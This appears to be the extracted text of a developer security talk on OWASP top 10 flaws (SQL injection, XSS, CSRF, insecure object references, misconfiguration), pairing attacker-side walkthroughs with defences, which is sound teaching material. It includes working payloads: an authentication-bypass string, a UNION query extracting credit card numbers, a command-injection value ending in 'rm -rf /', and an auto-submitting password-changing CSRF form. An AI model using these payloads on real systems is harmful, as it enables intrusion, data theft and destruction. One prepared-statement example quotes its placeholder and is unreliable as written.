This talk educates developers on common security vulnerabilities, how they are exploited, and how to protect against them. We will explore several of the OWASP top 10 attack vectors, such as SQL injection, XSS, CSRF, and session hijacking. Each topic will be approached from the perspective of an attacker to learn how these vulnerabilities are detected and exploited using several realistic examples. We will then apply this knowledge to learn how web applications can be secured against such vulnerabilities.
2. Colin O’Dell
@colinodell
Lead Web Developer at Unleashed Technologies
PHP developer since 2002
league/commonmark maintainer
PHP 7 Migration Guide e-book author
php[world] 2015 CtF winner
3. Goals
Explore several top security vulnerabilities from the
perspective of an attacker.
1. Understand how to detect and exploit common
vulnerabilities
2. Learn how to protect against those vulnerabilities
4. Disclaimers
1.NEVER test systems that aren’t yours without
explicit permission.
2.Examples in this talk are fictional, but the
vulnerability behaviors shown are very real.
10. SQL Injection
Basics
$value = $_REQUEST['value'];
SELECT * FROM x WHERE y = '[MALICIOUS CODE HERE]' ";
$sql = "SELECT * FROM x WHERE y = '$value' ";
$database->query($sql);
14. tail –n 1 /var/log/apache2/error.log
MySQL error: You have an error in your SQL syntax;
check the manual that corresponds to your MySQL
server version for the right syntax to use near
"password'" at line 1.
tail –n 1 /var/log/mysql/query.log
SELECT * FROM users WHERE username = 'admin' AND
password = 'password'';
$
$
15. tail –n 1 /var/log/apache2/error.log
MySQL error: You have an error in your SQL syntax;
check the manual that corresponds to your MySQL
server version for the right syntax to use near
"password'" at line 1.
tail –n 1 /var/log/mysql/query.log
SELECT * FROM users WHERE username = 'admin' AND
password = 'password'';
$
$
~~
18. tail –n 1 /var/log/apache2/error.log
MySQL error: You have an error in your SQL syntax;
check the manual that corresponds to your MySQL
server version for the right syntax to use near
"' test" at line 1.
tail –n 1 /var/log/mysql/query.log
SELECT * FROM users WHERE username = 'admin' AND
password = '' test';
$
$
19. tail –n 1 /var/log/apache2/error.log
MySQL error: You have an error in your SQL syntax;
check the manual that corresponds to your MySQL
server version for the right syntax to use near
"' test" at line 1.
tail –n 1 /var/log/mysql/query.log
SELECT * FROM users WHERE username = 'admin' AND
password = '' test';
$
$
~~~~~~~~
20. ~~~~~~~~
SELECT * FROM users WHERE username = 'admin' AND
password = '' test';
SELECT * FROM users WHERE username = 'admin' AND
password = '';
SELECT * FROM users WHERE username = 'admin' AND
password = '' OR (something that is true);
SELECT * FROM users WHERE username = 'admin' AND
(true);
SELECT * FROM users WHERE username = 'admin';
21. SELECT * FROM users WHERE username = 'admin' AND
password = '' test ';
' test
22. SELECT * FROM users WHERE username = 'admin' AND
password = '' test ';
SELECT * FROM users WHERE username = 'admin' AND
password = '' test ';
' test
~~~~~~~~~~~~~~~~~~~~
23. SELECT * FROM users WHERE username = 'admin' AND
password = ' ';
SELECT * FROM users WHERE username = 'admin' AND
password = ' ';
24. SELECT * FROM users WHERE username = 'admin' AND
password = '' ';
SELECT * FROM users WHERE username = 'admin' AND
password = '' ';
'
~~~~
25. SELECT * FROM users WHERE username = 'admin' AND
password = '' ' ';
SELECT * FROM users WHERE username = 'admin' AND
password = '' ' ';
' '
~~~~~~~~~~~~~~~~
26. SELECT * FROM users WHERE username = 'admin' AND
password = '' OR ' ';
SELECT * FROM users WHERE username = 'admin' AND
password = '' OR ' ';
' OR '
27. SELECT * FROM users WHERE username = 'admin' AND
password = '' OR '1 ' ';
SELECT * FROM users WHERE username = 'admin' AND
password = '' OR '1 ' ';
' OR '1 '
~~~~
28. SELECT * FROM users WHERE username = 'admin' AND
password = '' OR '1' ' ';
SELECT * FROM users WHERE username = 'admin' AND
password = '' OR '1' ' ';
' OR '1' '
~~~~~~~~~
29. SELECT * FROM users WHERE username = 'admin' AND
password = '' OR '1'=' ';
SELECT * FROM users WHERE username = 'admin' AND
password = '' OR '1'=' ';
' OR '1'='
30. SELECT * FROM users WHERE username = 'admin' AND
password = '' OR '1'='1';
SELECT * FROM users WHERE username = 'admin' AND
password = '' OR '1'='1';
' OR '1'='1
35. ' AND (SELECT id FROM user LIMIT 1) = '
Username
Password
admin
Log In
Real-Time MySQL View
36. ' AND (SELECT id FROM user LIMIT 1) = '
Username
Password
admin
Unknown error.
Log In
Error LogQuery Log
SELECT * FROM users WHERE username = 'admin' AND
password = '' AND (SELECT id FROM user LIMIT 1) = '';
37. ' AND (SELECT id FROM user LIMIT 1) = '
Username
Password
admin
Unknown error.
Log In
Query Log
MySQL error: Unknown table 'user'.
Error Log
38. ' AND (SELECT id FROM users LIMIT 1) = '
Username
Password
admin
Unknown error.
Log In
Query Log
MySQL error: Unknown table 'user'.
Error Log
39. ' AND (SELECT id FROM users LIMIT 1) = '
Username
Password
admin
Invalid username or password. Please double-check and try again.
Log In
41. SQL Injection - Data Disclosure
http://www.onlinebookstore.com/books/123
SELECT * FROM books WHERE id = 123
$id = …;
$sql = "SELECT title, author, price FROM books
WHERE id = " . $id;
$data = $database->query($sql);
{
'title' => 'The Great Gatsby',
'author' => 'F. Scott Fitzgerald',
'price' => 9.75
}
42. SQL Injection - Data Disclosure
http://www.onlinebookstore.com/books/99999
SELECT * FROM books WHERE id = 99999
$id = …;
$sql = "SELECT title, author, price FROM books
WHERE id = " . $id;
$data = $database->query($sql);
{
}
43. SQL Injection - Data Disclosure
http://www.onlinebookstore.com/books/?????
SELECT * FROM books WHERE id = ?????
$id = …;
$sql = "SELECT title, author, price FROM books
WHERE id = " . $id;
$data = $database->query($sql);
{
'title' => '',
'author' => '',
'price' => 0.00
}
44. SQL UNION Query
Column 1 Column 2 Column 3
The Great Gatsby F. Scott Fitzgerald 9.75
Column 1 Column 2 Column 3
Foo Bar 123
Column 1 Column 2 Column 3
The Great Gatsby F. Scott Fitzgerald 9.75
Foo Bar 123
UNION
45. SQL UNION Query
Column 1 Column 2 Column 3
The Great Gatsby F. Scott Fitzgerald 9.75
Column 1 Column 2 Column 3
(SELECT) 1 1
Column 1 Column 2 Column 3
The Great Gatsby F. Scott Fitzgerald 9.75
(SELECT) 1 1
UNION
47. SQL Injection - Data Disclosure
http://www.onlinebookstore.com/books/99999 UNION SELECT number FROM creditcards
SELECT * FROM books WHERE id = ?????
$id = …;
$sql = "SELECT title, author, price FROM books
WHERE id = " . $id;
$data = $database->query($sql);
{
'title' => '',
'author' => '',
'price' => 0.00
}
48. SQL Injection - Data Disclosure
http://www.onlinebookstore.com/books/99999 UNION SELECT number AS 'title', 1 AS
'author', 1 AS 'price' FROM creditcards
SELECT * FROM books WHERE id = ?????
$id = …;
$sql = "SELECT title, author, price FROM books
WHERE id = " . $id;
$data = $database->query($sql);
{
'title' => '',
'author' => '',
'price' => 0.00
}
49. SQL Injection - Data Disclosure
http://www.onlinebookstore.com/books/99999 UNION SELECT number AS 'title', 1 AS
'author', 1 AS 'price' FROM creditcards
SELECT * FROM books WHERE id = 99999 UNION
SELECT number AS 'title', 1 AS 'author', 1 AS
'price' FROM creditcards
$id = …;
$sql = "SELECT title, author, price FROM books
WHERE id = " . $id;
$data = $database->query($sql);
{
'title' => '',
'author' => '',
'price' => 0
}
50. SQL Injection - Data Disclosure
http://www.onlinebookstore.com/books/99999 UNION SELECT number AS 'title', 1 AS
'author', 1 AS 'price' FROM creditcards
SELECT * FROM books WHERE id = 99999 UNION
SELECT number AS 'title', 1 AS 'author', 1 AS
'price' FROM creditcards
$id = …;
$sql = "SELECT title, author, price FROM books
WHERE id = " . $id;
$data = $database->query($sql);
{
'title' => '4012-3456-7890-1234',
'author' => 1,
'price' => 1
}
53. Protecting Against
SQL Injection
Block input with special
characters
Escape user input
$value = $_REQUEST['value'];
$escaped = mysqli_real_escape_string($value);
$sql = "SELECT * FROM x WHERE y = '$escaped' ";
$database->query($sql);
' OR '1' = '1 ' OR '1' = '1
mysqli_real_escape_string()
SELECT * FROM x WHERE y = '' OR '1' = '1'
54. Protecting Against
SQL Injection
Block input with special
characters
Escape user input
$value = $_REQUEST['value'];
$escaped = mysqli_real_escape_string($value);
$sql = "SELECT * FROM x WHERE y = '$escaped' ";
$database->query($sql);
' OR '1' = '1 ' OR '1' = '1
mysqli_real_escape_string()
SELECT * FROM x WHERE y = '' OR '1' = '1'
55. Protecting Against
SQL Injection
Block input with special
characters
Escape user input
Use prepared statements
$mysqli = new mysqli("localhost", "user", "pass", "db");
$q = $mysqli->prepare("SELECT * FROM x WHERE y = '?' ");
$q->bind_param(1, $_REQUEST['value']);
$q->execute();
Native PHP:
● mysqli
● pdo_mysql
Frameworks / Libraries:
● Doctrine
● Eloquent
● Zend_Db
56. Other Types of Injection
NoSQL databases
OS Commands
LDAP Queries
SMTP Headers
$file = $_GET['filename'];
shell_exec("rm uploads/{$file}");
/rm.php?filename=foo.jpg+%26%26+rm+-rf+%2F
rm uploads/foo.jpg && rm -rf /
57. XSS
Cross-Site Scripting
Injecting code into the webpage
(for other users)
• Execute malicious scripts
• Hijack sessions
• Install malware
• Deface websites
58. XSS Attack
Basics $value = $_POST['value'];
$value = $rssFeed->first->title;
$value = db_fetch('SELECT value FROM table');
<?php echo $value ?>
Raw code/script
is injected onto a page
59. XSS – Cross-Site Scripting Basics
Snipicons by Snip Master licensed under CC BY-NC 3.0.
Cookie icon by Daniele De Santis licensed under CC BY 3.0.
Hat image from http://www.yourdreamblog.com/wp-content/uploads/2013/04/blackhat.png
Logos are copyright of their respective owners.
<form id="evilform"
action="https://facebook.com/password.php"
method="post">
<input type="password" value="hacked123">
</form>
<script>
document.getElementById('evilform').submit();
</script>
65. XSS – Cross-Site Scripting
short.ly
<script>alert('hello world!');</script> Shorten
Short URL: http://short.ly/3bs8a
Original URL:
hello world!
OK
X
66. XSS – Cross-Site Scripting
short.ly
<script>alert('hello world!');</script> Shorten
Short URL: http://short.ly/3bs8a
Original URL:
72. Protecting Against
XSS Attacks
$value = $_POST['value'];
$value = db_fetch('SELECT value FROM table');
$value = $rssFeed->first->title;
<?php echo $value ?>
73. Protecting Against
XSS Attacks
• Filter user input
$value = strip_tags($_POST['value']);
$value = strip_tags(
db_fetch('SELECT value FROM table')
);
$value = strip_tags($rssFeed->first->title);
<?php echo $value ?>
74. Protecting Against
XSS Attacks
• Filter user input
• Escape user input
$value = htmlspecialchars($_POST['value']);
$value = htmlspecialchars(
db_fetch('SELECT value FROM table')
);
$value = htmlspecialchars($rssFeed->first->title);
<?php echo $value ?>
<script> <script>
htmlspecialchars()
75. Protecting Against
XSS Attacks
• Filter user input
• Escape user input
• Escape output
$value = $_POST['value'];
$value = db_fetch('SELECT value FROM table');
$value = $rssFeed->first->title;
<?php echo htmlspecialchars($value) ?>
76. Protecting Against
XSS Attacks
• Filter user input
• Escape user input
• Escape output
{{ some_variable }}
{{ some_variable|raw }}
77. CSRF
Cross-Site Request Forgery
Execute unwanted actions on
another site which user is logged in
to.
• Change password
• Transfer funds
• Anything the user can do
78. CSRF – Cross-Site Request Forgery
Hi Facebook! I am
colinodell and my
password is *****.
Welcome Colin!
Here’s your
news feed.
Snipicons by Snip Master licensed under CC BY-NC 3.0.
Cookie icon by Daniele De Santis licensed under CC BY 3.0.
Hat image from http://www.yourdreamblog.com/wp-content/uploads/2013/04/blackhat.png
Logos are copyright of their respective owners.
79. CSRF – Cross-Site Request Forgery
Hi other website!
Show me your
homepage.
Sure, here you go!
Snipicons by Snip Master licensed under CC BY-NC 3.0.
Cookie icon by Daniele De Santis licensed under CC BY 3.0.
Hat image from http://www.yourdreamblog.com/wp-content/uploads/2013/04/blackhat.png
Logos are copyright of their respective owners.
<form id="evilform"
action="https://facebook.com/password.php"
method="post">
<input type="password" value="hacked123">
</form>
<script>
document.getElementById('evilform').submit();
</script>
81. CSRF – Cross-Site Request Forgery
<form id="evilform"
action="https://facebook.com/password.php"
method="post">
<input type="password" value="hacked123">
</form>
<script>
document.getElementById('evilform').submit();
</script>
Tell Facebook we want to
change our password to
hacked123
Snipicons by Snip Master licensed under CC BY-NC 3.0.
Cookie icon by Daniele De Santis licensed under CC BY 3.0.
Hat image from http://www.yourdreamblog.com/wp-content/uploads/2013/04/blackhat.png
Logos are copyright of their respective owners.
82. CSRF – Cross-Site Request Forgery
<form id="evilform"
action="https://facebook.com/password.php"
method="post">
<input type="password" value="hacked123">
</form>
<script>
document.getElementById('evilform').submit();
</script>
Hi Facebook! Please
change my password
to hacked123.
Snipicons by Snip Master licensed under CC BY-NC 3.0.
Cookie icon by Daniele De Santis licensed under CC BY 3.0.
Hat image from http://www.yourdreamblog.com/wp-content/uploads/2013/04/blackhat.png
Logos are copyright of their respective owners.
Done!
86. Protecting Against
CSRF Attacks
Only use POST requests?
NO!
POST requests are vulnerable too
Common Misconceptions:
“<img> tags can only make GET requests”
“If a user doesn’t click a form it won’t submit”
89. Protecting Against
CSRF Attacks
Only use POST requests?
Use a secret cookie?
Use random CSRF tokens
YES!
<input type="hidden" name="token"
value="ao3i4yw90sae8rhsdrf">
1. Generate a random string per user.
2. Store it in their session.
3. Add to form as hidden field.
4. Compare submitted value to session
1. Same token? Proceed.
2. Different/missing? Reject the request.
97. Protecting Against
Insecure Direct
Object References
Check permission on
data input
• URL / route parameters
• Form field inputs
• Basically anything that’s an ID
• If they don’t have permission,
show a 403 (or 404) page
98. Protecting Against
Insecure Direct
Object References
Check permission on
data input
Check permission on
data output
• Do they have permission to
access this object?
• Do they have permission to
even know this exists?
• This is not “security through
obscurity”
106. Private information that is stored, transmitted, or backed-up in
clear text (or with weak encryption)
• Customer information
• Credit card numbers
• Credentials
Sensitive Data Exposure
107. Security Misconfiguration & Components with Known Vulnerabilities
Default accounts enabled; weak passwords
• admin / admin
Security configuration
• Does SSH grant root access?
• Are weak encryption keys used?
Out-of-date software
• Old versions with known issues
• Are the versions exposed?
• Unused software running (DROWN attack)
111. Protecting Against
Sensitive Data Exposure, Security
Mismanagement, and
Components with Known
Vulnerabilities
Keep software up-to-date
• Install critical updates immediately
• Install other updates regularly
112. Protecting Against
Sensitive Data Exposure, Security
Misconfiguration, and
Components with Known
Vulnerabilities
Keep software up-to-date
Keep sensitive data out
of web root
• Files which provide version numbers
• README, CHANGELOG, .git, composer.lock
• Database credentials & API keys
• Encryption keys
113. Protecting Against
Sensitive Data Exposure, Security
Misconfiguration, and
Components with Known
Vulnerabilities
Keep software up-to-date
Keep sensitive data out
of web root
Use strong encryption
• Encrypt with a strong private key
• Encrypt backups and data-in-transit
• Use strong hashing techniques for
passwords
114. Protecting Against
Sensitive Data Exposure, Security
Mismanagement, and
Components with Known
Vulnerabilities
Keep software up-to-date
Keep sensitive data out
of web root
Use strong encryption
Test your systems
• Scan your systems with automated
tools
• Test critical components yourself
• Automated tests
• Manual tests
115. Next Steps
Test your own applications for vulnerabilities
Learn more about security & ethical hacking
Enter security competitions (like CtF)
Stay informed